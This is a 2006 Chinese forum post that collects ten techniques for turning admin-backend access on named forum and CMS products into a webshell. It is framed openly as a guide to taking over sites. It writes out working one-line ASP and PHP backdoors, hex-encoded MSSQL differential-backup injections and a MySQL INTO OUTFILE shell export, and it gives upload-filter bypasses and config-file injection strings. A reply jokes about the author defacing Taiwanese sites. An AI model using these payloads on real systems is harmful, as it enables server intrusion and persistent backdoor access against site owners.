服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

中国海 发表于 2006-7-25 18:10:03

后台得到webshell技巧大汇总

<TABLE cellSpacing=3 cellPadding=0 width="98%" align=center border=0>
<TBODY>
<TR>
<TD class=f14 vAlign=top align=left height=25>
<TABLE cellSpacing=1 cellPadding=3 width="100%" align=center bgColor=#dddddd border=0>
<TBODY>
<TR>
<TD bgColor=#f2f2f2 height=70>
<P align=center><STRONG><FONT color=#555555></FONT></STRONG>&nbsp;</P></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD class=f14 vAlign=top align=left></TD></TR>
<TR>
<TD class=f14 vAlign=top align=left>
<P>前&nbsp;言&nbsp; <BR>动网上传漏洞,相信大家拿下不少肉鸡吧。可以说是动网让upfile.<A href="http://edu.net118.com/index/ASP/" target=_blank>asp</A>上传文件过滤不严的漏洞昭然天下,现在这种漏洞已经基本比较难见到了,不排除一些小网站仍然存在此漏洞。在拿站过程中,我们经常费了九牛两虎之力拿到管理员帐号和密码,并顺利进入了后台,虽然此时与拿到网站webshell还有一步之遥,但还是有许多新手因想不出合适的方法而被拒之门外。因此,我们把常用的从后台得到webshell的方法进行了总结和归纳,大体情况有以下十大方面。 <BR>注意:如何进入后台,不是本文讨论范围,其具体方法就不说了,靠大家去自己发挥。此文参考了前人的多方面的资料和信息,在此一并表示感谢。&nbsp; <BR>一、直接上传获得webshell&nbsp; <BR>这种对<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>和jsp的一些程序比较常见,MolyX&nbsp;BOARD就是其中一例,直接在心情图标管理上传.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>类型,虽然没有提示,其实已经成功了,上传的文&nbsp;件url应该是<A href="http://forums/images/smiles/" target=_blank>http://forums/images/smiles/</A>下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>文件,上传的文件路径有提示。以及一年前十分流行的upfile.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。 <BR><BR>二、添加修改上传类型&nbsp; <BR>现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>,可以添加.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A><A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>的文件类型来上传获得webshell。<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>系统的后台,我们可以添加.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>.g1f的上传类型,这是<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>的一个特性,最后的哪个只要不是已知的文件类型即可,<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>会将<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>.g1f作为.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是:在上传类型中增加<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>&nbsp;,注意,<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格! <BR><BR>三、利用后台管理功能写入webshell&nbsp; <BR>上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台修改配置文件,写入后缀是<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>就是我们想要的shell。 <BR><BR>四、利用后台管理向配置文件写webshell&nbsp; <BR>利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON&nbsp;Counter统计程序等等,还有很多<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>程序都可以,COCOON&nbsp;Counter统计程序举例,在管理邮箱处添上cnhacker&nbsp;at&nbsp;263&nbsp;dot&nbsp;net":eval&nbsp;request(chr&nbsp;(35))//,&nbsp;在配制文件中就是webmail="cnhacker&nbsp;at&nbsp;263&nbsp;dot&nbsp;net\":eval&nbsp;request(chr(35))//",还有一种方法就是写上&nbsp; <BR>cnhacker&nbsp;at&nbsp;263&nbsp;dot&nbsp;net"%&gt;&lt;%eval&nbsp;request(chr(35))%&gt;&lt;%’,这样就会形成前后对应,最小马也就运行了。&lt;%eval&nbsp;request(chr(35))%&gt;可以用lake2的eval发送端以及最新的2006&nbsp;客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%&gt;&lt;%execute&nbsp;request("l")%&gt;&lt;%’,保&nbsp;存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>。 <BR><BR>五、利用后台数据库备份及恢复获得webshell&nbsp; <BR>主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改&nbsp;为<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>文件为其他后缀&nbsp;如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时&nbsp;候,但是有<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>文件即可。在谈谈突破上传检测的方法,很多<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>程序在即使改了后缀名后也会提示文件非法,通过在.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>文件头加上gif89a修改后缀为gif来骗过<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>文件,成功得到webshell。 <BR>六、利用数据库压缩功能&nbsp; <BR>可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上&lt;%eval&nbsp;request&nbsp;(chr(35))%&gt;,&nbsp;提交后,在数据库操作中压缩数据库,可以成功压缩出.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>文件,用海洋的最小马的eval客户端连就得到一个webshell。 <BR><BR>七、<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>+mssql系统&nbsp; <BR>这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下: <BR>&lt;form&nbsp;action=http://网站/bbs/admin_data.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>?action=RestoreData&amp;act=Restore&nbsp;method="post"&gt;&nbsp; <BR>&lt;p&gt;已上传文件的位置:&lt;input&nbsp;name="Dbpath"&nbsp;type="text"&nbsp;size="80"&gt;&lt;/p&gt;&nbsp; <BR>&lt;p&gt;要复制到的位置:&lt;input&nbsp;name="backpath"&nbsp;type="text"&nbsp;size="80"&gt;&lt;/p&gt;&nbsp; <BR>&lt;p&gt;&lt;input&nbsp;type="submit"&nbsp;value="提交"&gt;&lt;/p&gt;&nbsp;&lt;/form&gt; <BR>另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个webshell,可以用利用上面提到的方法,将conn.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>文件备份成.txt文件而获得库名。 <BR>差异备份的主要代码: <BR>;declare&nbsp;at&nbsp;a&nbsp;sysname,@s&nbsp;varchar(4000)&nbsp;select&nbsp;@a=db_name(),@s=0x626273&nbsp;backup&nbsp;database&nbsp;@a&nbsp;to&nbsp;disk=@s--&nbsp; <BR>;Drop&nbsp;table&nbsp;;create&nbsp;table&nbsp;&nbsp;dot&nbsp;&nbsp;(&nbsp;)-- <BR>;insert&nbsp;into&nbsp;heige(cmd)&nbsp;values(0x3C2565786563757465207265717565737428226C2229253E)-- <BR>;declare&nbsp;at&nbsp;a&nbsp;sysname,@s&nbsp;varchar(4000)&nbsp;select&nbsp;@a=db_name(),@s=0x643A5C7765625C312E617370&nbsp;backup&nbsp;database&nbsp;@a&nbsp;to&nbsp;disk=@s&nbsp;WITH&nbsp;DIFFERENTIAL,FORMAT-- <BR>这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak;&nbsp;0x3C2565786563757465207265717565737428226C2229253E是&lt;%execute&nbsp;request("l")%&gt;的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。</P>
<P>八、<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>+mysql系统&nbsp; <BR>后台需要有mysql数据查询功能,我们就可以利用它执行SELECT&nbsp;...&nbsp;INTO&nbsp;OUTFILE查询输出<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT&nbsp;...&nbsp;INTO&nbsp;OUTFILE语句导出shell。在mysql操作里输入select&nbsp;0x3C3F6576616C28245F504F53545B615D293B3F3E&nbsp;from&nbsp;mysql.user&nbsp;into&nbsp;outfile&nbsp;’路径’&nbsp;就可以获得了一个&lt;?eval($_POST);?&gt;的最小马 <BR>’&nbsp; <BR>0x3C3F6576616C28245F504F53545B615D293B3F3E&nbsp;是我们&lt;?eval($_POST);?&gt;的十六进制,这种方法对<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>myadmin比较普遍,先利用<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>myadmin的路径泄露漏洞,比较典型的&nbsp;是http://url/<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>myadmin/libra9xiaoes/select_lang.lib.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>。 <BR>就可以暴出路径,<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot\\a.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号 <BR>CREATE&nbsp;TABLE&nbsp;a(cmd&nbsp;text&nbsp;NOT&nbsp;NULL) <BR>INSERT&nbsp;INTO&nbsp;a(cmd)&nbsp;VALUES(’&lt;?fputs(fopen("./a.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>","w"),"&lt;?eval(\$_POST);?&gt;")?&gt;’)&nbsp; <BR>select&nbsp;cmd&nbsp;from&nbsp;a&nbsp;into&nbsp;outfile&nbsp;’路径/b.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>’ <BR>DROP&nbsp;TABLE&nbsp;IF&nbsp;EXISTS&nbsp;a <BR>访问b.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>就会生成一个&lt;?eval($_POST);?&gt;的最小马。 <BR>如果遇到可以执行<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>命令就简单多了,典型的代表是BO-BLOG,在后台的<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>命令框输入以下代码: <BR>&lt;? <BR>$sa&nbsp;=&nbsp;fopen("./up/saiy.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>","w"); <BR>fw9xiaote($sa,"&lt;?eval(\$_POST);?"."&gt;"); <BR>fclose($sa); <BR>?&gt; <BR>就会在up目录下生成文件名为saiy.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>内容为&lt;?eval($_POST);?&gt;的最小<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>木马,&nbsp; <BR>最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码&lt;?fputs(fopen("./a.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>","w"),"&lt;?eval(\$_POST);?&gt;")?&gt;&nbsp;将会在当前目录生成一个a.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>的最小马。 <BR><BR>九、<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>wind论坛从后台到webshell的三种方式&nbsp; <BR>方式1&nbsp;模板法 <BR>进入后台,&nbsp;风格模版设置&nbsp;,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。&nbsp; <BR>EOT;&nbsp; <BR>eval($a);&nbsp; <BR>p9xiaont&nbsp;&lt;&lt;&lt;EOT&nbsp; <BR>而后得到一个shell为http://网站/bbs/index.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>。&nbsp; <BR>方始2&nbsp;脏话过滤法 <BR>进入安全管理&nbsp;◇&nbsp;不良词语过滤。新增不良词语写&nbsp;a’]=’aa’;eval($_POST[’a’]);// <BR>替换为那里可以随意写,而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>。&nbsp; <BR>方式3&nbsp;用户等级管理&nbsp; <BR>新建立会员组,头衔你可以随便写,但是千万不要写单双引号特殊符号,升级图片号写a’;eval($_POST[’a’]);//&nbsp;,升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.<A href="http://edu.net118.com/index/php/" target=_blank target=_blank>php</A>。 <BR>以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。 <BR><BR>十、也可以利用网站访问计数系统记录来获得webshell&nbsp; <BR>最明显的就是某私服程序内的阿江计数程序,可以通过http://网站/stat.<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>?style=text&amp;referer=&nbsp;代码内容&amp;screenwidth=1024直接提交,&nbsp;即可把代码内容直接插入到计数系统的数据库中,而此系统默认数据库为count#.asa,我们可以通过http://网站/count%23.asa访问得到webshell,由于阿江计数程序过滤了%和+,将最小马改成&lt;SCRIPT&nbsp;RUNAT=SERVER&nbsp;LANGUAGE=vbSCRIPT&gt;eval(Request("1"))&lt;/SCRIPT&gt;替换代码内容处提交,然后用lake2的eval客户端来提交,值得一提的是如果进到计数后台,可以清理某时某刻的数据,一旦插入<A href="http://edu.net118.com/index/ASP/" target=_blank target=_blank>asp</A>木马失败,可以清理数据库再次操作。 <BR><BR>解决方案&nbsp; <BR>由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及时通知官方网站。 <BR><BR>后记&nbsp; <BR>其实,从后台得到webshell的技巧应该还有很多的,关键是要看大家怎么灵活运用、触类旁通,希望本文的方法能起到抛砖引玉的作用。&nbsp;各位加油吧,让我们将<A href="http://edu.net118.com/index/server/" target=_blank target=_blank>服务器</A>控制到底!</P></TD></TR></TBODY></TABLE>

cijian 发表于 2006-5-2 05:18:28

re:后台得到webshell技巧大汇总

<P>哈哈</P>
<P>我上周在 别处看到台湾被黑站是看到几乎全是你黑的哦</P>
<P>&nbsp;</P>
<P>哈哈</P>
<P>通缉你</P>
页: [1]
查看完整版本: 后台得到webshell技巧大汇总